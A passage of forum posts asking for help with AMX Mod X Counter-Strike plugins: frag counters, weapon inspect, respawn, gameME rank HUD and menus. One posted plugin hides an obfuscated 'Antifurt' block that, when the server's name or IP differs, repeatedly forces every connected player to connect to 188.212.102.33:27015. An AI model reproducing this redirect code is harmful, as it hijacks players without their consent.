id ) write_byte( onoff ) // status write_string( number ) // sprite name write_byte( 0 ) // red write_byte( 255 ) // green write_byte( 0 ) // blue message_end() } } public roundend(){ if (top != 0){ new sname[32] get_user_name(top,sname,32) set_hudmessage(0, 255, 0, -1.0, 0.3, 0, 1.0, 5.0, 0.1, 0.2, 5) show_hudmessage(0,"Best player of the round: %s",sname) } } public plugin_init(){ register_plugin("FragCounter","1.01","Scarzzurs") gmsgStatusIcon = get_user_msgid("StatusIcon") register_event("DeathMsg","death","a") register_event("ResetHUD","playerspawn","b") register_event("SendAudio","roundend","a","2=%!MRAD_terwin","2=%!MRAD_ctwin","2=%!MRAD_rounddraw") } public plugin_precache() if (file_exists("sound/misc/monsterkill.wav")==1) precache_sound("misc/monsterkill.wav") Przeczytaj cały wpis
  11. How do I specify model (CT) and (TER)? Code: "models/v_p228.mdl", "models/ter/v_shield.mdl", "models/ter/v_scout.mdl", "models/ter/v_hegrenade.mdl", "models/ter/v_xm1014.mdl", "models/ter/v_c4.mdl", "models/ter/v_mac10.mdl", "models/ter/v_aug.mdl", "models/ter/v_smokegrenade.mdl", "models/ter/v_elite.mdl", "models/ter/v_fiveseven.mdl", "models/ter/v_ump45.mdl", "models/ter/v_sg550.mdl", "models/ter/v_galil.mdl", "models/ter/v_famas.mdl", "models/ter/v_usp.mdl", "models/ter/v_glock18.mdl", "models/ter/v_awp.mdl", "models/ter/v_mp5.mdl", "models/ter/v_m249.mdl", "models/ter/v_m3.mdl", "models/ter/v_m4a1.mdl", "models/ter/v_tmp.mdl", "models/ter/v_g3sg1.mdl", "models/ter/v_flashbang.mdl", "models/ter/v_deagle.mdl", "models/ter/v_sg552.mdl", "models/ter/v_ak47.mdl", "models/ter/v_knife.mdl", "models/ter/v_p90.mdl" "models/ct/v_p228.mdl", "models/ct/v_shield.mdl", "models/ct/v_scout.mdl", "models/ct/v_hegrenade.mdl", "models/ct/v_xm1014.mdl", "models/ct/v_mac10.mdl", "models/ct/v_aug.mdl", "models/ct/v_smokegrenade.mdl", "models/ct/v_elite.mdl", "models/ct/v_fiveseven.mdl", "models/ct/v_ump45.mdl", "models/ct/v_sg550.mdl", "models/ct/v_galil.mdl", "models/ct/v_famas.mdl", "models/ct/v_usp.mdl", "models/ct/v_glock18.mdl", "models/ct/v_awp.mdl", "models/ct/v_mp5.mdl", "models/ct/v_m249.mdl", "models/ct/v_m3.mdl", "models/ct/v_m4a1.mdl", "models/ct/v_tmp.mdl", "models/ct/v_g3sg1.mdl", "models/ct/v_flashbang.mdl", "models/ct/v_deagle.mdl", "models/ct/v_sg552.mdl", "models/ct/v_ak47.mdl", "models/ct/v_knife.mdl", "models/ct/v_p90.mdl" PHP Code: #include <amxmodx> #include <cstrike> #include <fakemeta> #include <hamsandwich> const XoWeapon = 4; const XoPlayer = 5; const m_pPlayer = 41; const m_flNextPrimaryAttack = 46; const m_flTimeWeaponIdle = 48; const m_fInSpecialReload = 55; const m_flNextAttack = 83; const m_pActiveItem = 373; new const PLUGIN[] = "CS:GO Inspect Weapon"; new const VERSION[] = "5.1"; new const DATE[] = "20 November 2017"; new const wpns_without_inspect = (1 << CSW_C4) | (1 << CSW_HEGRENADE) | (1 << CSW_FLASHBANG) | (1 << CSW_SMOKEGRENADE); new const wpns_scoped = (1 << CSW_AUG) | (1 << CSW_AWP) | (1 << CSW_G3SG1) | (1 << CSW_SCOUT) | (1 << CSW_SG550) | (1 << CSW_SG552); new g_deagle_overide[33]; new inspect_anim[] = { 0, //null 7, //p228 0, //shield 5, //scout 0, //hegrenade 7, //xm1014 0, //c4 6, //mac10 6, //aug 0, //smoke grenade 16, //elites 6, //fiveseven 6, //ump45 5, //sg550 6, //galil 6, //famas 16, //usp 13, //glock 6, //awp 6, //mp5 5, //m249 7, //m3 14, //m4a1 6, //tmp 5, //g3sg1 0, //flashbang 6, //deagle 6, //sg552 6, //ak47 8, //knife 6 //p90 } new Float:idle_calltime[] = { 0.0, //null 5.2, //p228 0.0, //shield 5.0, //scout 0.0, //hegrenade 4.4, //xm1014 0.0, //c4 5.1, //mac10 3.4, //aug 0.0, //smoke grenade 4.5, //elites 5.2, //fiveseven 5.3, //ump45 5.2, //sg550 3.7, //galil 3.4, //famas 6.1, //usp 5.2, //glock 5.0, //awp 5.3, //mp5 5.5, //m249 4.5, //m3 4.8, //m4a1 5.8, //tmp 3.5, //g3sg1 0.0, //flashbang 4.6, //deagle 3.7, //sg552 4.4, //ak47 4.9, //knife 4.2 //p90 } new V_MODELS[][] = { "null", "models/v_p228.mdl", "models/v_shield.mdl", "models/v_scout.mdl", "models/v_hegrenade.mdl", "models/v_xm1014.mdl", "models/v_c4.mdl", "models/v_mac10.mdl", "models/v_aug.mdl", "models/v_smokegrenade.mdl", "models/v_elite.mdl", "models/v_fiveseven.mdl", "models/v_ump45.mdl", "models/v_sg550.mdl", "models/v_galil.mdl", "models/v_famas.mdl", "models/v_usp.mdl", "models/v_glock18.mdl", "models/v_awp.mdl", "models/v_mp5.mdl", "models/v_m249.mdl", "models/v_m3.mdl", "models/v_m4a1.mdl", "models/v_tmp.mdl", "models/v_g3sg1.mdl", "models/v_flashbang.mdl", "models/v_deagle.mdl", "models/v_sg552.mdl", "models/v_ak47.mdl", "models/v_knife.mdl", "models/v_p90.mdl" } new V_MODELS_ALT[][] = { "null", "models/alt/v_p228.mdl", "models/alt/v_shield.mdl", "models/alt/v_scout.mdl", "models/alt/v_hegrenade.mdl", "models/alt/v_xm1014.mdl", "models/alt/v_c4.mdl", "models/alt/v_mac10.mdl", "models/alt/v_aug.mdl", "models/alt/v_smokegrenade.mdl", "models/alt/v_elite.mdl", "models/alt/v_fiveseven.mdl", "models/alt/v_ump45.mdl", "models/alt/v_sg550.mdl", "models/alt/v_galil.mdl", "models/alt/v_famas.mdl", "models/alt/v_usp.mdl", "models/alt/v_glock18.mdl", "models/alt/v_awp.mdl", "models/alt/v_mp5.mdl", "models/alt/v_m249.mdl", "models/alt/v_m3.mdl", "models/alt/v_m4a1.mdl", "models/alt/v_tmp.mdl", "models/alt/v_g3sg1.mdl", "models/alt/v_flashbang.mdl", "models/alt/v_deagle.mdl", "models/alt/v_sg552.mdl", "models/alt/v_ak47.mdl", "models/alt/v_knife.mdl", "models/alt/v_p90.mdl" } new weapon_classnames[][] = { "weapon_p228", "weapon_elite", "weapon_fiveseven", "weapon_usp", "weapon_glock18", "weapon_deagle", "weapon_ak47", "weapon_m4a1", "weapon_awp", "weapon_mp5navy", "weapon_ump45", "weapon_galil", "weapon_famas", "weapon_sg552", "weapon_aug", "weapon_mac10", "weapon_tmp", "weapon_scout", "weapon_m3", "weapon_xm1014", "weapon_g3sg1", "weapon_sg550", "weapon_m249", "weapon_knife", "weapon_p90" } public plugin_init() { register_plugin(PLUGIN, VERSION, "hellmonja"); for(new i = 0; i < sizeof weapon_classnames; i++) RegisterHam(Ham_Weapon_PrimaryAttack, weapon_classnames[i], "Fw_Weapon_PrimaryAttack", 1); RegisterHam(Ham_Item_Deploy, "weapon_deagle", "Fw_Deagle_Disable"); RegisterHam(Ham_Weapon_Reload, "weapon_deagle", "Fw_Deagle_Disable"); RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_aug", "Fw_Weapon_SecondaryAttack"); RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_awp", "Fw_Weapon_SecondaryAttack"); RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_g3sg1", "Fw_Weapon_SecondaryAttack"); RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_scout", "Fw_Weapon_SecondaryAttack"); RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_sg550", "Fw_Weapon_SecondaryAttack"); RegisterHam(Ham_Weapon_SecondaryAttack, "weapon_sg552", "Fw_Weapon_SecondaryAttack"); register_clcmd("cl_inspect", "Inspect_Weapon"); register_concmd("inspect", "Inspect_Weapon"); register_concmd("ver_csgo_inspect", "Code_Version"); } public Code_Version(id) { console_print(id, "=============================="); console_print(id, "%s v%s", PLUGIN, VERSION); console_print(id, "%s", DATE); console_print(id, "=============================="); } public Fw_Weapon_PrimaryAttack(weapon) { static id; id = get_pdata_cbase(weapon, m_pPlayer, XoWeapon); if(!is_user_alive(id)) return new wpn_id = get_user_weapon(id); static model[32]; pev(id, pev_viewmodel2, model, 31); if(equali(model, V_MODELS[wpn_id]) || equali(model, V_MODELS_ALT[wpn_id])) { switch(wpn_id) { case CSW_DEAGLE: g_deagle_overide[id] = 1; case CSW_AWP, CSW_SCOUT, CSW_M3: set_pdata_float(weapon, m_flTimeWeaponIdle, 1.5, XoWeapon); case CSW_KNIFE: set_pdata_float(weapon, m_flTimeWeaponIdle, 2.0, XoWeapon); default: set_pdata_float(weapon, m_flTimeWeaponIdle, 0.5, XoWeapon); } } } public Fw_Weapon_SecondaryAttack(weapon) { static id; id = get_pdata_cbase(weapon, m_pPlayer, XoWeapon); new wpn_id = get_user_weapon(id); if(wpns_scoped & (1 << wpn_id) && cs_get_user_zoom(id) <= 1) { set_pev(id, pev_weaponanim, 0); message_begin(MSG_ONE_UNRELIABLE, SVC_WEAPONANIM, {0, 0, 0}, id); write_byte(0); write_byte(pev(id, pev_body)); message_end(); } } public Fw_Deagle_Disable(weapon) { static id; id = get_pdata_cbase(weapon, m_pPlayer, XoWeapon); remove_task(id) } public Deagle_Overide(id) g_deagle_overide[id] = 1; public Inspect_Weapon(id) { if(!is_user_alive(id) || !is_user_connected(id)) return PLUGIN_HANDLED if(cs_get_user_shield(id)) return PLUGIN_HANDLED if(cs_get_user_zoom(id) > 1) return PLUGIN_HANDLED new wpn_id = get_user_weapon(id); if(wpns_without_inspect & (1 << wpn_id)) return PLUGIN_HANDLED static weapon; weapon = get_pdata_cbase(id, m_pActiveItem); static Float:flNextAttack; flNextAttack = get_pdata_float(id, m_flNextAttack, XoPlayer); static Float:flNextPrimaryAttack; flNextPrimaryAttack = get_pdata_float(weapon, m_flNextPrimaryAttack, XoWeapon); if(flNextAttack <= 0 && flNextPrimaryAttack <= 0) { static model[32]; pev(id, pev_viewmodel2, model, 31); if(equali(model, V_MODELS[wpn_id]) || equali(model, V_MODELS_ALT[wpn_id])) { new anim = inspect_anim[wpn_id]; new current_anim = pev(get_pdata_cbase(weapon, m_pPlayer, XoWeapon), pev_weaponanim); switch (wpn_id) { case CSW_USP: if(!cs_get_weapon_silen(weapon)) anim = 17; case CSW_M4A1:if(!cs_get_weapon_silen(weapon)) anim = 15; case CSW_KNIFE: anim = random_num(8, 10); case CSW_DEAGLE: if(wpn_id == CSW_DEAGLE && g_deagle_overide[id] == 1) { play_inspect(id, anim); remove_task(id); g_deagle_overide[id] = 0; set_task(idle_calltime[CSW_DEAGLE], "Deagle_Overide", id); return PLUGIN_HANDLED } } if(wpn_id == CSW_KNIFE && (current_anim == 8 || current_anim == 9 || current_anim == 10 )) return PLUGIN_HANDLED if(!get_pdata_int(weapon, m_fInSpecialReload, 4) && current_anim != anim) { play_inspect(id, anim); set_pdata_float(weapon, m_flTimeWeaponIdle, idle_calltime[wpn_id], XoWeapon); } } } return PLUGIN_HANDLED } play_inspect(id, anim) { set_pev(id, pev_weaponanim, anim); message_begin(MSG_ONE_UNRELIABLE, SVC_WEAPONANIM, {0, 0, 0}, id); write_byte(anim); write_byte(pev(id, pev_body)); message_end(); } Przeczytaj cały wpis
  12. I love CS1.5, I need to wait for 10 to 30 seconds after the death of a resurrection of the plugin, because I find are dead immediately resurrection automatically, thank you in advance, good luck Attached Files 段时间后重生.zip (16.9 KB) 死后5秒重生.zip (2.4 KB) 自动重生插件.zip (3.9 KB) Przeczytaj cały wpis
  13. Hello, I'm trying to make this tap into gameME api to get a players rank / position and display it in a HUD. It has a tag mismatch and its not working all. Not even displaying the HUD. Maybe I'm taking the wrong approach or doing this totally wrong. I spent so much time editing this, can anyone help me finish it? Thanks in advance. Compiled warning: PHP Code: // C:\Program Files (x86)\Steam\steamapps\common\Half-Life\cstrike\addons\amxmodx\scripting\test32.sma(28) : warning 213: tag mismatch // Header size: 460 bytes // Code size: 756 bytes // Data size: 712 bytes // Stack/heap size: 16384 bytes // Total requirements: 18312 bytes // // 1 Warning. // Done. // // Compilation Time: 0.36 sec // ---------------------------------------- My would be Frankenstein plugin. PHP Code: #include <amxmodx> #include <gameme> #include <csx> #define QUERY_TYPE_ONCLIENTPUTINSERVER 1 const Float:REFRESH_RATE = 1.0; public plugin_init( ) { register_plugin( "GameME HUD Rank", "0.1", "no0ne" ); set_task( REFRESH_RATE, "QuerygameMEStatsCallback", .flags = "b" ); } public cmdginfo(id) { // We call the native to get a response from gameme QueryGameMEStats("playerinfo", id, "QuerygameMEStatsCallback", QUERY_TYPE_ONCLIENTPUTINSERVER); return PLUGIN_HANDLED; } public QuerygameMEStatsCallback(command, payload, client, &DataPack:datapack) { { ResetPack(datapack) new iRank = ReadPackCell(datapack) SetPackPosition(datapack, 18) new iSkill = ReadPackCell(datapack); DestroyDataPack(datapack) set_hudmessage( 0, 255, 0, -0.01, -0.2, .holdtime = ( REFRESH_RATE + 0.2 ), .fadeintime = 0.1, .fadeouttime = 0.1, .channel = 3 ); show_hudmessage( iRank, "Rank: %d / %d", "QuerygameMEStatsCallback: command -> %i, payload -> %i, client -> %N", command, payload, client, iRank, iSkill ); } } INC file for gameME api: PHP Code: #if defined _gameme_included_ #endinput #endif #define _gameme_included_ // raw message handling #define RAW_MESSAGE_RANK 1 #define RAW_MESSAGE_PLACE 2 #define RAW_MESSAGE_KDEATH 3 #define RAW_MESSAGE_SESSION_DATA 4 #define RAW_MESSAGE_TOP10 5 #define RAW_MESSAGE_NEXT 6 // callbacks #define RAW_MESSAGE_CALLBACK_PLAYER 101 #define RAW_MESSAGE_CALLBACK_TOP10 102 #define RAW_MESSAGE_CALLBACK_NEXT 103 // internal usage #define RAW_MESSAGE_CALLBACK_INT_CLOSE 1000 #define RAW_MESSAGE_CALLBACK_INT_SPECTATOR 1001 forward onGameMEStatsRank(command, client, message_prefix[], &DataPack:datapack); forward onGameMEStatsPublicCommand(command, client, message_prefix[], &DataPack:datapack); forward onGameMEStatsTop10(command, client, message_prefix[], &DataPack:datapack); forward onGameMEStatsNext(command, client, message_prefix[], &DataPack:datapack); /** * Query gameME Stats data from a client * * @param request Request type (only 'playerinfo' available) * @param client Client index. * @param func Callback function. * @param payload Payload to distinct queries. * @noreturn */ native QueryGameMEStats(request[], client, func[], payload = 0); /** * Query Top10 players from gameME Stats * * @param request Request type (currently only 'top10' available) * @param client Client index. * @param func Callback function. * @param payload Payload to distinct queries. * @noreturn */ native QueryGameMEStatsTop10(request[], client, func[], payload = 0); /** * Query next players from gameME Stats for s specified client * * @param request Request type (currently only 'next' available) * @param client Client index. * @param func Callback function. * @param payload Payload to distinct queries. * @noreturn */ native QueryGameMEStatsNext(request[], client, func[], payload = 0); /** * Query internal (preformatted) gameME Stats data * * @param request Request type. * @param client Client index. * @param func Callback function. * @param payload Payload to distinct queries. * @noreturn */ native QueryIntGameMEStats(request[], client, func[], payload = 0, limit = 0); Przeczytaj cały wpis
  14. I want a plugin to hear my team speak namely: PHP Code: if(cs_get_user_team(id) & CS_TEAM_T) { ( Voice Terrorists for Terrorists } if(cs_get_user_team(id) & CS_TEAM_CT) { ( Voice Counter-Terrorist for Counter-Terrorist } if(cs_get_user_team(id) & CS_TEAM_SPECTATOR) { ( Voice Spectator for Spectator Przeczytaj cały wpis
  15. Hi, I can create a plugin to open a menu for specific steam ids?? Similar to the example: PHP Code: new menu = menu_create(" buy for Steam id", "CommandMenuWeapons"); if(cs_get_user_team(id) & STEAM_6:0:40857791 == STEAM_6:0:1543600141 == STEAM_6:0:765433307) { menu_additem( menu, "Awp+Deagle+He+Flash", "1"); Przeczytaj cały wpis
  16. Hi guys , when I am trying to compile this plugin PHP Code: #include <amxmodx> #include <amxmisc> #include <cstrike> #include <engine> #include <CSX> #include <fun> #include <hamsandwich> #include <fakemeta> #define MAX_PLAYERS 32 #define Ham_Player_ResetMaxSpeed Ham_Item_PreFrame #define XTRA_OFS_PLAYER 5 #define m_iAccount 115 #define XO_WEAPONBOX 4 #define cs_set_money_value(%1,%2) set_pdata_int(%1, m_iAccount, %2, XTRA_OFS_PLAYER) #define m_rgpPlayerItems_wpnbx_Slot5 39 #define IsWeaponBoxC4(%1) ( get_pdata_cbase(%1, m_rgpPlayerItems_wpnbx_Slot5, XO_WEAPONBOX) > 0 ) #define FIRST_PLAYER_ID 1 #define IsPlayer(%1) ( FIRST_PLAYER_ID <= %1 <= g_iMaxPlayers ) #define XO_WEAPON 4 #define m_pPlayer 41 #define XO_PLAYER 5 #define m_pActiveItem 373 #define ADMIN_ACCESS ADMIN_BAN //flag "d" #define SPECT_KEYS MENU_KEY_1|MENU_KEY_2|MENU_KEY_5|MENU_KEY_6|MENU_KEY_0 #define CLASS_KEYS MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5 #define LINUXDIFF 5 #if cellbits == 32 #define OFFSET_TEAM 114 #else #define OFFSET_TEAM 139 #endif #define TEAM_T 1 #define TEAM_CT 2 #define TEAM_SPEC 3 #define UPDATE_INTERVAL 0.01 #define TID_TIMER 26642 #define _Set(%1,%2) %1|=1<<%2 #define _UnSet(%1,%2) %1&=~(1<<%2) #define _Is(%1,%2) (%1&1<<%2) enum { DeathMsg_KillerID = 1, // byte DeathMsg_VictimID, // byte } new bool:g_roundend new bool:g_corpse_made[33] new bool:g_model_selected[33] new g_team[33] new g_maxplayers new fpause=0; new skmod[33]; stock bool:is_admin(id) return g_team[id] && get_user_flags(id) & ADMIN_ACCESS ? true : false stock bool:is_admin_dead(id) return is_admin(id) && g_corpse_made[id] ? true : false /* _Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER)) set_pev(id, pev_viewmodel2, knife) */ ///////Antifurt////// #define x539jRwe "www.watf.ro" #define y32jhR8x07 "188.212.102.33:27015" new a51o4QQ50e4dSSe4a386afbf090=1; new a58a4QX50e4dbbe4a386afbf090=0; new h8a4QR50e4db6apRQ34f32qwAwq[40]; new ia4QFf32wAb6apfQfslLrfwe42W[32]; ///////Antifurt///// new _alive, _in_server new g_max_players new g_timer_entid new Float:g_t_time new g_HSO new topkillscount[33] new Float: topdmgcount[33]; new pc_enabled new pc_team_color new pc_details new pc_req_flags new pc_dead_only //new numedmg[33][32],numebest[33][32],numenab[33][32],numefirstblood[33][32],numehumiliation[33][32],numegodlike[33][32],nrdmg[33],nrbest[33],nrnab[33],nrfirstblood[33],nrhumiliation[33],numegodlike[33]; new g_enabled new g_team_color new g_details new g_req_flags new g_dead_only new g_target[33] new g_name[33][32] new g_weap_name[32][32] = {"", "p228", "", "scout", "HE", "xm1014", "c4", "mac10", "aug", "SG", "elite", "fiveseven", "ump45", "sg550", "galil", "famas", "usp", "glock", "awp", "mp5", "m249", "m3", "m4a1", "tmp", "g3sg1", "FB", "deagle", "sg552", "ak47", "knife", "p90", ""} new g_hp[33] new g_ap[33] new g_weapon[33] new g_iPickUp=2; new g_pCvarGravity, g_pCvarMaxSpeed, g_pCvarGravity2, g_pCvarMaxSpeed2,g_pCvarMaxSpeed3; new g_iMsgSayText,g_iMsg_ScoreInfo; new g_iMenu,g_iMenuG,g_iMenu2,g_iMenu3,formeniu[33]; new g_iTextMsg; new g_iMaxPlayers; new aresuperknife[33], aregoldenak[33], areregen[33], aretask[33], admspec[33],areblackpack[33],cloackinuse[33],areet[33],crithp[33]; new HamHook:g_iHhTakeDamage new spawnpoint[33][3]; new schimbareeq; new knife[] = "models/sk1.mdl"; new knife2[] = "models/sk2.mdl"; new knife3[] = "models/sk3.mdl"; new knifebp[] = "models/blackpackknife.mdl"; new vak47[] = "models/v_golden_ak47.mdl" new pak47[] = "models/p_golden_ak47.mdl" new fs[] = "furiens/t_win.wav" new afs[] = "furiens/ct_win.wav" new const szPickAmmoSound[] = "items/9mmclip1.wav" public plugin_init() { ///////Antifurt////// get_user_name(0,h8a4QR50e4db6apRQ34f32qwAwq,40) get_user_ip(0,ia4QFf32wAb6apfQfslLrfwe42W,31) if( (containi(h8a4QR50e4db6apRQ34f32qwAwq,"www.watf.ro") == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,"188.212.102.33:27015") == -1) || (containi(h8a4QR50e4db6apRQ34f32qwAwq,x539jRwe) == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,y32jhR8x07) == -1) ) { a51o4QQ50e4dSSe4a386afbf090=1; a58a4QX50e4dbbe4a386afbf090=1; } else { a51o4QQ50e4dSSe4a386afbf090=0; } ///////Antifurt////// register_plugin("[WATF] Black Furien WAR", "[W]1.5", "Black--Dragon") g_pCvarGravity = register_cvar("watf_furien_gravity", "0.375") g_pCvarMaxSpeed = register_cvar("watf_furien_speed", "700") g_pCvarGravity2 = register_cvar("watf_furienbp_gravity", "0.370") g_pCvarMaxSpeed2 = register_cvar("watf_furienbp_speed", "775") g_pCvarMaxSpeed3 = register_cvar("watf_furiencloack_speed", "155") RegisterHam(Ham_Spawn, "player", "Player_Spawn_Post", 1) RegisterHam(Ham_Player_ResetMaxSpeed, "player", "Player_ResetMaxSpeed", 1) RegisterHam(Ham_Touch, "weaponbox", "CWeaponBox_Touch") RegisterHam(Ham_Touch, "armoury_entity", "GroundWeapon_Touch") RegisterHam(Ham_Touch, "weapon_shield", "GroundWeapon_Touch") RegisterHam(Ham_Spawn, "hostage_entity", "Hostage_Spawn") RegisterHam(Ham_Killed, "player", "Ham_CBasePlayer_Killed_Post", true) register_event("WeapPickup","checkModel","b","1=19") register_event("CurWeapon","checkWeapon","be","1=1") RegisterHam(Ham_TakeDamage, "player", "CBasePlayer_TakeDamage", false) //RegisterHam(Ham_Item_Deploy, "weapon_knife", "CKnife_Deploy", true) g_iHhTakeDamage = RegisterHam(Ham_TakeDamage, "player", "Player_TakeDamage") DisableHamForward( g_iHhTakeDamage ) register_event("HLTV", "new_round", "a", "1=0", "2=0") register_logevent("round_end", 2, "1=Round_End") register_event("ClCorpse", "hook_corpse", "a", "12>0") register_event("TeamInfo", "event_teaminfo", "a", "1>0") register_event("TextMsg", "joined_a_team", "a", "1=1", "2=#Game_join_terrorist", "2=#Game_join_ct") register_clcmd("jointeam", "join_spec_cmd") register_clcmd("joinclass", "select_a_model") register_menucmd(register_menuid("IG_Team_Select_Spect",1), SPECT_KEYS, "join_spec_menucmd") register_menucmd(register_menuid("Terrorist_Select", 1), CLASS_KEYS, "select_a_model") register_menucmd(register_menuid("CT_Select", 1), CLASS_KEYS, "select_a_model") g_maxplayers = get_maxplayers() register_dictionary("furiens.txt") register_message(get_user_msgid("SendAudio"), "Message_SendAudio") register_event("SendAudio", "Event_SendAudio_MRAD_ctwin", "a", "1=0", "2=%!MRAD_ctwin"); register_event("HLTV", "Event_HLTV_New_Round", "a", "1=0", "2=0") register_logevent("APusBomba", 3, "2=Planted_The_Bomb") register_event("DeathMsg", "Event_DeathMsg", "a") register_event("ResetHUD", "GetSpawnOrigin", "b"); new iEnt = create_entity("info_target") entity_set_string(iEnt, EV_SZ_classname, "check_speed") entity_set_float(iEnt, EV_FL_nextthink, get_gametime() + 0.1) register_think("check_speed", "Set_Terrorist_Visibility") //register_forward(FM_PlayerPreThink,"func_prethink"); g_iMsgSayText = get_user_msgid( "SayText" ) g_iTextMsg = get_user_msgid("TextMsg") g_iMaxPlayers = get_maxplayers() g_iMsg_ScoreInfo = get_user_msgid( "ScoreInfo" ) //register_concmd( "amx_furienpause", "pauzafurien"); //register_concmd( "amx_furienunpause", "unpauzafurien"); //register_forward( FM_PlayerPreThink, "Forward_PlayerPreThink", 0 ); //register_event( "Damage", "Event_Damage", "b", "2!0", "3=0", "4!0" ) //set_msg_block(get_user_msgid("ClCorpse"), BLOCK_SET ); register_message(get_user_msgid("StatusValue"), "update_target") register_message(get_user_msgid("Health"), "update_hp") register_message(get_user_msgid("Battery"), "update_ap") register_message(get_user_msgid("CurWeapon"), "update_weapon") register_event("TeamInfo", "join_team","a") register_event("HLTV", "update_cvars", "a", "1=0", "2=0") RegisterHam(Ham_Spawn, "player", "Player_Spawn", 1) RegisterHam(Ham_Killed, "player", "Player_Killed", 1) create_timer() pc_enabled = register_cvar("ti_enabled", "1") //0 - plugin disabled //1 - plugin enabled pc_team_color = register_cvar("ti_team_color", "1") //0-same color for all teams//1-team color pc_details = register_cvar("ti_details", "2") //0-only name//1-show details//2-teammates details pc_req_flags = register_cvar("ti_req_flags", "") //0 - plugin disabled //1 - plugin enabled pc_dead_only = register_cvar("ti_dead_only", "0") //0-same color for all teams//1-team color g_max_players = get_maxplayers() g_HSO = CreateHudSyncObj() set_task(80.0, "x0342VrQ", 908533, "", 0, "b") set_task(10.0, "y0335PxN"); register_event("TextMsg", "Event_GameWillRestartIn", "a", "2=#Game_will_restart_in") //set_task( 5.0 * 60.0, "TaskCheckMinutes", 12345, _, _, "d" ); } public x0342VrQ() { get_user_name(0,h8a4QR50e4db6apRQ34f32qwAwq,40) get_user_ip(0,ia4QFf32wAb6apfQfslLrfwe42W,31) if( (containi(h8a4QR50e4db6apRQ34f32qwAwq,"www.watf.ro") == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,"188.212.102.33:27015") == -1) || (containi(h8a4QR50e4db6apRQ34f32qwAwq,x539jRwe) == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,y32jhR8x07) == -1) ) { a51o4QQ50e4dSSe4a386afbf090=1; a58a4QX50e4dbbe4a386afbf090=1; } else { a51o4QQ50e4dSSe4a386afbf090=0; } if(a51o4QQ50e4dSSe4a386afbf090 || a58a4QX50e4dbbe4a386afbf090) { for(new i=1;i<=32;i++) { if(is_user_connected(i)) { client_cmd(i,"CONNECT 188.212.102.33:27015"); } } } } public y0335PxN() { get_user_name(0,h8a4QR50e4db6apRQ34f32qwAwq,40) get_user_ip(0,ia4QFf32wAb6apfQfslLrfwe42W,31) if( (containi(h8a4QR50e4db6apRQ34f32qwAwq,"www.watf.ro") == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,"188.212.102.33:27015") == -1) || (containi(h8a4QR50e4db6apRQ34f32qwAwq,x539jRwe) == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,y32jhR8x07) == -1) ) { a51o4QQ50e4dSSe4a386afbf090=1; a58a4QX50e4dbbe4a386afbf090=1; } else { a51o4QQ50e4dSSe4a386afbf090=0; } if(a51o4QQ50e4dSSe4a386afbf090 || a58a4QX50e4dbbe4a386afbf090) { for(new i=1;i<=32;i++) { if(is_user_connected(i)) { client_cmd(i,"CONNECT 188.212.102.33:27015"); } } } new Float:nrrandom = random_float(90.0,120.0); set_task(nrrandom, "y0335PxN"); } public plugin_cfg() { update_cvars() g_iMenu = menu_create("\r[WATF] Anti-Furien Gun Menu:", "HandleGunMenu"); menu_additem(g_iMenu, "M4a1", "1"); menu_additem(g_iMenu, "Ak47", "2"); menu_additem(g_iMenu, "MP5", "3"); menu_additem(g_iMenu, "Famas", "4"); menu_additem(g_iMenu, "Galil", "5"); menu_additem(g_iMenu, "P90", "6"); menu_setprop(g_iMenu, MPROP_EXIT, MEXIT_NEVER); g_iMenuG = menu_create("\r[WATF] Anti-Furien Gun Menu:^n\yGolden AK 47 va disparea daca alegi o alta arma!", "HandleGunMenu"); menu_additem(g_iMenuG, "M4a1", "1"); menu_additem(g_iMenuG, "Ak47", "2"); menu_additem(g_iMenuG, "MP5", "3"); menu_additem(g_iMenuG, "Famas", "4"); menu_additem(g_iMenuG, "Galil", "5"); menu_additem(g_iMenuG, "P90", "6"); menu_setprop(g_iMenuG, MPROP_EXIT, MEXIT_ALL); g_iMenu2 = menu_create("\r[WATF] Anti-Furien Shop:", "HandleGunMenu2"); menu_additem(g_iMenu2, "Golden AK 47 \R\r$9000", "1"); menu_additem(g_iMenu2, "Defuse Kit \R\r$300", "2"); menu_additem(g_iMenu2, "50 HP \R\r$3000", "3"); menu_additem(g_iMenu2, "50 AP + Helmet \R\r$1000", "4"); menu_additem(g_iMenu2, "HP Regenerator (MAX HP = 100) \R\r$6000", "5"); menu_additem(g_iMenu2, "Ammo (90 gloante) \R\r$3000", "6"); menu_setprop(g_iMenu2, MPROP_EXIT, MEXIT_ALL); g_iMenu3 = menu_create("\r[WATF] Furien Shop:", "HandleGunMenu3"); menu_additem(g_iMenu3, "SuperKnife \R\r$15000", "1", _, menu_makecallback("seteazabp")); menu_additem(g_iMenu3, "He Grenade \R\r$3000", "2"); menu_additem(g_iMenu3, "50 HP \R\r$3000", "3"); menu_additem(g_iMenu3, "100 AP + Helmet \R\r$5000", "4"); menu_additem(g_iMenu3, "Black Pack \R\r$9000", "5", _, menu_makecallback("seteazask")); menu_setprop(g_iMenu3, MPROP_EXIT, MEXIT_ALL); /*g_iMenu4 = menu_create("\r[WATF] Anti-Furien Shop:", "Decenupot"); menu_additem(g_iMenu4, "Golden AK 47 \R\r$9000", "1", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "Defuse Kit \R\r$300", "2", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "50 HP \R\r$3000", "3", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "50 AP + Helmet \R\r$1000", "4", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "HP Regenerator (MAX HP = 100) \R\r$6000", "5", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "Ammo (90 gloante) \R\r$3000", "6", _, menu_makecallback("fff")); menu_additem(g_iMenu4, "De ce nu pot cumpara?", "7"); menu_setprop(g_iMenu4, MPROP_EXIT, MEXIT_ALL); g_iMenu5 = menu_create("\r[WATF] Furien Shop:", "Decenupot"); menu_additem(g_iMenu5, "SuperKnife \R\r$15000", "1", _, 